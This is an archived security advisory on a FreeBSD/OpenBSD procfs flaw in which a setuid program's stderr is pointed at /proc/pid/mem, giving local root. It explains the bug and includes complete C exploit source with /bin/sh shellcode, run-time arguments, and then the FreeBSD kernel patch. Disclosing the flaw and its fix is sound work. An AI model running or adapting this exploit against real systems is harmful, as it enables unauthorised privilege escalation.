COMMAND

    procs

SYSTEMS AFFECTED

    *BSD

PROBLEM

    Following is based  on FEAR Advisories.   In January 1997  a fatal
    flaw in *BSD procfs code (leading to a local root compromise)  was
    discussed on various security forums.  The exploit code dealt with
    /proc/pid/mem  interface.   Since  then  *BSD  kernels contained a
    simple fix  which was  meant to  close this  hole.  Unfortunately,
    throughout  these  three  years  it  was  still  possible to abuse
    /proc/pid/mem in a symilar, though more complicated fashion, which
    could lead to local root compromise.

    The bug  is present  in kernels  used in  current (and  almost any
    older) FreeBSD and OpenBSD distributions.   In order to make  this
    flaw exploitable, procfs filesystem  must be mounted.   In default
    FreeBSD 3.3  installation, procfs  IS mounted;  in default OpenBSD
    2.6 installation, it is NOT.  Note that administrators often mount
    procfs filesystem for its benefits.

    The  procfs  exploit  code  from  1997  was  straightforward.   An
    unpriviledged  process  A  forks  off   a  process  B.   A   opens
    /proc/pid-of-B/mem.  B execs a setuid binary.  Though now B has  a
    different euid than A, A is  still able to control B's memory  via
    /proc/pid-of-B/mem descriptor.  Therefore A can change B's flow of
    execution in an arbitrary way.  In order to stop this exploit,  an
    additional check was added to the code responsible for I/O on file
    descriptors    referring    to    procfs    pseudofiles.        In
    miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:

        /*
         * Check to see whether access to target process is allowed
         * Evaluates to 1 if access is allowed.
         */
        #define CHECKIO(p1, p2) \
             ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
               ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
               ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
               ((p2)->p_flag & P_SUGID) == 0) || \
              (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))

    As we see, process performing I/O (p1) must have the same uids  as
    target process (p2),  unless... p1 has  root priviledges.   So, if
    we can trick a setuid program X into writing to a file  descriptor
    F referring to a procfs  object, the above check will  not prevent
    X from writing. As some of readers certainly already have guessed,
    F's number will  be 2, stderr  fileno... We can  pass to a  setuid
    program an appropriately lseeked file descriptor no 2 (pointing to
    some /proc/pid/mem),  and this  program will  blindly write  there
    error messages.  Such output is often partially controllable (e.g.
    contains program's name),  so we can  write almost arbitrary  data
    onto other setuid program's memory.

    This scenario looks similar to

        close(fileno(stderr)); execl("setuid-program",...)

    exploits, but in  fact differs profoundly.   It exploits the  fact
    that  the  properties  of  a  fd  pointing  into  procfs  is   not
    determined fully  by "open"  syscall (all  other fd  are; skipping
    issues  related  to  securelevels).   These  properties can change
    because of priviledged code execution. As a result,  (priviledged)
    children of  some process  P can  inherit a  fd opened read-write,
    though P can't directly gain such fd via open syscall.

    The  sample  exploit   below  (for  Intel   platform)  code   runs
    /usr/bin/passwd, but almost any setuid program can be used.   This
    code was tested on FreeBSD 2.8, 3.0 and 3.3 as well as on  OpenBSD
    2.4, 2.5 and 2.6.  The  code overwrites stack with addresses of  a
    shellcode, which is placed in  an environment variable.  The  code
    is a bit crude, but there were some obscure problems with building
    a working exploit.  It requires two arguments: an offset from  the
    current  stack  pointer  and  an  offset  from  default  shellcode
    position.   '/procfs_exp  -4000  -10000'  worked  for  all  tested
    platforms.   Having  seen  "#"  prompt,  one should probably issue
    "stty sane" command to clean tty state.  On OpenBSD, having gained
    root prompt one should remove /etc/ptmp file.

    The discovery of this vulnerability, as well as the sample exploit
    was done by  Rafal Wojtczuk.   deraadt discarded original  idea of
    the  fix  because  of  its  inefficiency  and  found a better one.
    Exploit code:

    /* by Nergal */
    #include <errno.h>
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <string.h>
    #include <signal.h>
    #include <sys/wait.h>

    char            shellcode[] =
    "\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
    "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
    "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
    "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
    "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";

    #define PASSWD "./passwd"
    void
    sg(int x)
    {
    }
    int
    main(int argc, char **argv)
    {
	    unsigned int stack, shaddr;
	    int             pid,schild;
	    int             fd;
	    char            buff[40];
	    unsigned int    status;
	    char            *ptr;
	    char            name[4096];
	    char 		sc[4096];
	    char            signature[] = "signature";

	    signal(SIGUSR1, sg);
    if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
    {
    perror("creating symlink:");
    exit(1);
    }
	    shaddr=(unsigned int)&shaddr;
	    stack=shaddr-2048;
	    if (argc>1)
	    shaddr+=atoi(argv[1]);
	    if (argc>2)
	    stack+=atoi(argv[2]);
	    fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
	    fprintf(stderr,"Wait for \"Press return\" prompt:\n");
	    memset(sc, 0x90, sizeof(sc));
	    strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
	    strncpy(sc,"EGG=",4);
    memset(name,'x',sizeof(name));
	    for (ptr = name; ptr < name + sizeof(name); ptr += 4)
		    *(unsigned int *) ptr = shaddr;
	    name[sizeof(name) - 1] = 0;

	    pid = fork();
	    switch (pid) {
	    case -1:
		    perror("fork");
		    exit(1);
	    case 0:
		    pid = getppid();
		    sprintf(buff, "/proc/%d/mem", pid);
		    fd = open(buff, O_RDWR);
		    if (fd < 0) {
			    perror("open procmem");
			    wait(NULL);
			    exit(1);
		    }
		    /* wait for child to execute suid program */
		    kill(pid, SIGUSR1);
		    do {
			    lseek(fd, (unsigned int) signature, SEEK_SET);
		    } while
			    (read(fd, buff, sizeof(signature)) == sizeof(signature) &&
			     !strncmp(buff, signature, sizeof(signature)));
		    lseek(fd, stack, SEEK_SET);
		    switch (schild = fork()) {
		    case -1:
			    perror("fork2");
			    exit(1);
		    case 0:

			    dup2(fd, 2);
			    sleep(2);
			    execl(PASSWD, name, "blahblah", 0);
			    printf("execl failed\n");
			    exit(1);
		    default:
			    waitpid(schild, &status, 0);
		    }
		    fprintf(stderr, "\nPress return.\n");
		    exit(1);
	    default:
		    /* give parent time to open /proc/pid/mem */
		    pause();
		    putenv(sc);
		    execl(PASSWD, "passwd", NULL);
		    perror("execl");
		    exit(0);

	    }
    }

SOLUTION

    Linux also  features proc  filesystem with  symilar functionality,
    but it is not vulnerable to  this exploit.  That is so  because on
    Linux if a process p1 wishes to alter the memory of process p2 via
    /proc/pid-of-p2/mem, p2 must be traced by p1 (moreover,  mem_write
    function is  currently defined  as NULL,  so /proc/pid/mem  can be
    altered  only  with  use  of  mmap;  irrelevant  here).  It may be
    tempting to impose symilar restriction in *BSD kernels.   However,
    on *BSD a process p1 can  attach p2 for tracing merely by  writing
    to /proc/pid-of-p2/ctl file; as we  have just seen it is  possible
    to force  a setuid  program to  write arbitrary  strings to  /proc
    files.

    The solution  (by deraadt)  is to  add a  certain check  in execve
    syscall.  If a  process X tries to  exec a setuid binary,  we make
    sure it holds no open descriptors pointing into procfs filesystem.

    Patches are available on:

        http://www.openbsd.org/errata.html#procfs
        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch
        ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20000130-procfs

    This patch  will be  included in  the upcoming  NetBSD 1.4.2 minor
    release.  NetBSD-current since 20000126 is not vulnerable.   Users
    of  NetBSD-current  should  upgrade  to  a  source tree later than
    20000126.

    Below is FreeBSD patch:

    Index: sys/filedesc.h
    ===================================================================
    RCS file: /base/FreeBSD-CVS/src/sys/sys/filedesc.h,v
    retrieving revision 1.15.2.1
    diff -u -r1.15.2.1 filedesc.h
    --- filedesc.h	1999/08/29 16:32:22	1.15.2.1
    +++ filedesc.h	2000/01/20 21:39:29
    @@ -139,6 +139,7 @@
     int	fsetown __P((pid_t, struct sigio **));
     void	funsetown __P((struct sigio *));
     void	funsetownlst __P((struct sigiolst *));
    +void	setugidsafety __P((struct proc *p));
     #endif

     #endif
    Index: kern/kern_descrip.c
    ===================================================================
    RCS file: /base/FreeBSD-CVS/src/sys/kern/kern_descrip.c,v
    retrieving revision 1.58.2.3
    diff -u -r1.58.2.3 kern_descrip.c
    --- kern_descrip.c	1999/11/18 08:09:08	1.58.2.3
    +++ kern_descrip.c	2000/01/20 21:40:00
    @@ -984,6 +984,62 @@
     }

     /*
    + * For setuid/setgid programs we don't want to people to use that setuidness
    + * to generate error messages which write to a file which otherwise would
    + * otherwise be off limits to the proces.
    + *
    + * This is a gross hack to plug the hole.  A better solution would involve
    + * a special vop or other form of generalized access control mechanism.  We
    + * go ahead and just reject all procfs file systems accesses as dangerous.
    + *
    + * Since setugidsafety calls this only for fd 0, 1 and 2, this check is
    + * sufficient.  We also don't for setugidness since we know we are.
    + */
    +static int
    +is_unsafe(struct file *fp)
    +{
    +	if (fp->f_type == DTYPE_VNODE &&
    +	    ((struct vnode *)(fp->f_data))->v_tag == VT_PROCFS)
    +		return (1);
    +	return (0);
    +}
    +
    +/*
    + * Make this setguid thing safe, if at all possible.
    + */
    +void
    +setugidsafety(p)
    +	struct proc *p;
    +{
    +	struct filedesc *fdp = p->p_fd;
    +	struct file **fpp;
    +	char *fdfp;
    +	register int i;
    +
    +	/* Certain daemons might not have file descriptors. */
    +	if (fdp == NULL)
    +		return;
    +
    +	fpp = fdp->fd_ofiles;
    +	fdfp = fdp->fd_ofileflags;
    +	for (i = 0; i <= fdp->fd_lastfile; i++, fpp++, fdfp++) {
    +		if (i > 2)
    +			break;
    +		if (*fpp != NULL && is_unsafe(*fpp)) {
    +			if (*fdfp & UF_MAPPED)
    +				(void) munmapfd(p, i);
    +			(void) closef(*fpp, p);
    +			*fpp = NULL;
    +			*fdfp = 0;
    +			if (i < fdp->fd_freefile)
    +				fdp->fd_freefile = i;
    +		}
    +	}
    +	while (fdp->fd_lastfile > 0 && fdp->fd_ofiles[fdp->fd_lastfile] == NULL)
    +		fdp->fd_lastfile--;
    +}
    +
    +/*
      * Close any files on exec?
      */
     void
    Index: kern/kern_exec.c
    ===================================================================
    RCS file: /base/FreeBSD-CVS/src/sys/kern/kern_exec.c,v
    retrieving revision 1.93.2.3
    diff -u -r1.93.2.3 kern_exec.c
    --- kern_exec.c	1999/08/29 16:25:58	1.93.2.3
    +++ kern_exec.c	2000/01/20 21:39:29
    @@ -281,6 +281,7 @@
            if (attr.va_mode & VSGID)
   	         p->p_ucred->cr_gid = attr.va_gid;
            setsugid(p);
    +		setugidsafety(p);
        } else {
            if (p->p_ucred->cr_uid == p->p_cred->p_ruid &&
   	     p->p_ucred->cr_gid == p->p_cred->p_rgid)